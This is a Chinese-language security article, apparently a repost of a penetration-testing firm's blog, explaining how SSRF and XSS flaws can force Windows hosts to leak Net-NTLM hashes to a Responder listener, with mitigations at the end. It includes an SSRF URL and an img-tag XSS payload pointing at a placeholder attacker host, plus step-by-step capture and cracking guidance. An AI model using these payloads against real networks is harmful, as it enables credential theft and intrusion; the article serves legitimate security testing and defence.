如何利用Web漏洞竊取NTLM哈希

02-11

介紹

NTLM身份驗證是運行Windows的企業網路中的一個標準事實。有很多很好理解的本地攻擊方法，利用Windows執行自動NTLM身份驗證的方式，濫用此功能無疑是每個滲透測試人員和紅隊的都會操作的事情。

在Blaze的信息安全部門，我們最近花了一些時間研究如何使用遠程向量來濫用此功能，特別是從Web應用程序漏洞的角度來看。

我們的目標是討論如何將伺服器端請求偽造（SSRF）和跨站點腳本（CSRF）等問題武裝到竊取Net-NTLM哈希上，這對於進一步訪問網路可能是非常有用的。

這篇文章假定讀者熟悉這裡闡述的一些概念，並且我會跳過關於NTLM身份驗證的內部工作原理的幾個技術細節，如何配置和使用捕獲Net-NTLM哈希所需的工具，以及如何利用XSS和SSRF。

所有實驗均由Blaze 信息安全團隊在我們的實驗室中完成，該實驗室使用Windows 10裸機，Windows 7虛擬機和Ubuntu Linux作為認證伺服器。

集成的Windows身份驗證

在互聯網企業環境中使用Windows的任何人都可能已經注意到，訪問網路中的公司資源是毫無爭議的，並且在許多情況下，除了初始的Windows域登錄之外，不需要明確的身份驗證來提示憑據。對於網路映射驅動器，內部網站等多項服務來說，情況也是如此。

Windows的 WinHTTP為開發人員提供了處理HTTP/1.1協議的高級API。除其他功能外，WinHTTP還可以通過協商NTLM，Kerberos和其他功能自動處理身份驗證以訪問受保護的資源。

基於Microsoft的瀏覽器Internet Explorer和Edge具有可信區域的概念：網路，本地網路，可信站點和受限站點。每個區域都有不同的安全級別和相關的限制。例如，對於網路區域網站，Internet Explorer將禁用XSS篩選器，運行ActiveX插件，執行自動登錄，並且總體上具有比網路站點更少的安全控制。

默認情況下，當Web伺服器具有受NTLM身份驗證保護的資源時，如果網站位於公司網路內或在受信任的站點中列入白名單，Internet Explorer和Edge將自動執行身份驗證，並遵守受信任區域的概念。

其他瀏覽器，如Mozilla Firefox和Google Chrome也支持自動NTLM登錄。Chrome依靠與Internet Explorer相同的設置; 在Firefox的情況下，這個配置默認是不啟用的，必須通過手動更改about:config。

Responder

由Laurent Gaffie撰寫的Responder [1]是迄今為止，在每個滲透測試人員用於竊取不同形式的證書（包括Net-NTLM哈希）的最受歡迎的工具。

它通過設置幾個模擬的惡意守護進程（如SQL伺服器，FTP，HTTP和SMB伺服器等）來直接提示憑據或模擬質詢 – 響應驗證過程並捕獲客戶端發送的必要哈希。

Responder也有能力攻擊LLMNR，NBT-NS和mDNS等協議，但這些將不在本文中討論。

通過Web應用程序漏洞進行濫用

最近，我們花了一些時間研究如何進一步武器化Web應用程序漏洞，以利用Windows在某些情況下可能響應NTLM哈希時遇到的問題，並進一步訪問網路。

我們想描述Web應用程序中發現的兩個常見漏洞，以及我們如何利用這些漏洞來竊取散列，拿到帳戶，並立足於企業網路。

場景＃1：從SSRF到竊取哈希

SSRF漏洞通常用於將HTTP請求發送到其他伺服器並掃描內部網路。事實證明，它也可以用來強制一個易受攻擊的Web應用程序，使底層Windows伺服器泄漏其NTLM散列。

我們把一個易受SSRF攻擊的Flask應用程序放在一起，以便更好地說明問題。這個概念非常簡單：它有一個參數URL，當任何站點傳遞給它時，無論是http://www.blazeinfosec.com還是http://intranet.corporate，它都會發送一個HTTP請求，資源並使用請求獲取的內容將其回復給客戶端。

這個易受攻擊的Web應用程序依賴於Python的win32com模塊。通過這個模塊，可以調用一個使用原生WinHTTP.WinHTTPRequest.5.1發出HTTP請求的COM對象，並且由於SetAutoLoginPolicy設置為0，它將自動發送憑證。

有一點很重要，那就是某些框架的URL資源獲取功能與Windows沒有緊密集成，不會像本例那樣執行自動登錄。但是，Java的URLConnection（），也可能是其他的情況。

要利用此漏洞並獲取用戶的Net-NTLM哈希，只需瀏覽以下URL：

http://127.0.0.1:8000/?url=http://server_listening_responder

在後台沒有任何交互，但發生了以下情況：

· Windows API將發送一個HTTP請求

· 伺服器（在這種情況下，是Responder）將發送標題WWW-Authenticate：NTLM，提示它使用NTLM進行身份驗證

· 客戶端（在這種情況下，運行在伺服器上的易受攻擊的應用程序）將對挑戰作出反應，攻擊者將抓取伺服器的Net-NTLM哈希

最終的結果是對手成功捕獲了Net-NTLM證書：

即使Net-NTLM哈希不能用於Pass-the-Hash攻擊，與純粹的NTLM哈希不同，它們可以通過使用諸如hashcat之類的現成工具進行中繼或破解：

場景＃2：XSS：alert(1)很無聊，讓我們來利用XSS獲取一些Net-NTLM哈希值

如前面所述的，當Web伺服器提示Internet Explorer和Edge for NTLM憑據時，在默認配置下，它將執行質詢 – 響應身份驗證過程，並將登錄用戶的哈希發送到請求伺服器，前提是該站點的域名位於企業內部網或存在於可信站點列表中。

以下是Internet Explorer在Intranet站點中自動登錄時的默認配置：

很多時候，企業將企業域名列為網路的可信站點，如下例所示：

這意味著，如果你正在執行對在網路中運行的Web應用程序的滲透測試，並且發現跨站點腳本，那麼你很有可能利用這個無用的漏洞進行哈希竊取。

通過誘使公司環境中的任何人瀏覽包含以下HTML代碼的頁面：

<html><img src="http://hostname_to_internal_responder"></html>

如果運行響應程序的HTTP伺服器位於網路中，並且其主機名或其子域通常標記為受信任，Internet Explorer和Edge將自動發送哈希值。

以下步驟描述了利用XSS竊取NTLM哈希的攻擊模式：

· 步驟1：在本地網路中設置以HTTP模式運行的Responder – 通常情況下，你將在公司網路下為你的IP提供反向DNS，這意味著你將擁有一個主機名。

· 第2步：在XSS有效載荷中輸入一些東西<img src="http://hostname_to_internal_responder">

· 步驟3：等待不知情的受害者瀏覽受XSS影響的頁面 – 如果是存儲型XSS，則效果更好

· 第4步：捕獲哈希

通常，企業組織還將其子域名所服務的所有內容標記為可信。例如，如果將* .http://blazeinfosec.com列入白名單，只需要對* .http://blazeinfosec.com中的一台伺服器進行入侵攻擊，即可運行Responder，稍後可通過此向量來竊取公司網路中的用戶的哈希值。

如果客戶端嘗試使用NTLM身份驗證連接到HTTP伺服器，但主機名不在Internet Explorer或Edge的任何可信列表中，則會提示客戶端輸入憑證，如下面的截圖所示：

緩解風險

這篇文章中所描述的問題在一段時間內都是眾所周知的，實際上是Windows的設計所決定的。NTLM認證自從早期就以這種方式運作，其中一些漏洞已經在20年前被討論過了，只是大家沒有意識到它的風險。

但是，有不同的方法可以減少Windows不安全行為帶來的影響。

在註冊表項

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaMSV1_0

中將RestrictSendingNTLMTraffic的值設置為2，可以減少這種風險的暴露，因為當伺服器提出質詢時，Windows將不再發送NTLMv1或NTLMv2哈希，無論是合法的請求還是攻擊請求。

但是，重要的是要考慮這可能會破壞正常功能，特別是在大量使用NTLM進行自動登錄的公司網路中。

在與SSRF相關的場景中，建議使用不執行自動NTLM身份驗證的HTTP庫。減少這種風險的另一個想法是在企業代理中制定規則，防止與網路邊界之外的伺服器進行NTLM身份驗證協商。

結論

NTLM身份驗證可以為依賴Windows和其他Microsoft產品的企業組織帶來多種好處。單一登錄功能在訪問不同的公司系統時提供了無縫連接的用戶體驗，提高了用戶的工作效率並減少了不斷進行身份驗證的負擔。

雖然如此，儘管NTLM認證已經有二十多年了，但仍然存在著與NTLM認證有關的安全風險。

對於滲透測試人員來說，每當你找到一個SSRF時，可能值得你把它指向一個運行Responder監聽器的伺服器。總是有機會獲得NTLMv1或NTLMv2哈希值，並深入到目標網路中。

開發人員和安全防禦人員不應低估XSS在內部應用程序中的影響。在內部應用程序中重新使用包含XSS的WONT_FIX票據的bug跟蹤器可能是一個不錯的主意，並且重新考慮讓它無法解決，因為其影響可能比簡單的彈出框或會話cookie被盜更大。

將跨站腳本等無聊的漏洞利用到企業網路的實際立足點總是不錯的想法。

參考

[1] https://github.com/lgandx/Responder

[2] https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx

[3] https://github.com/blazeinfosec/ssrf-ntlm

如若轉載，請註明原文地址： http://www.4hou.com/system/9383.html 更多內容請關注「嘶吼專業版」——Pro4hou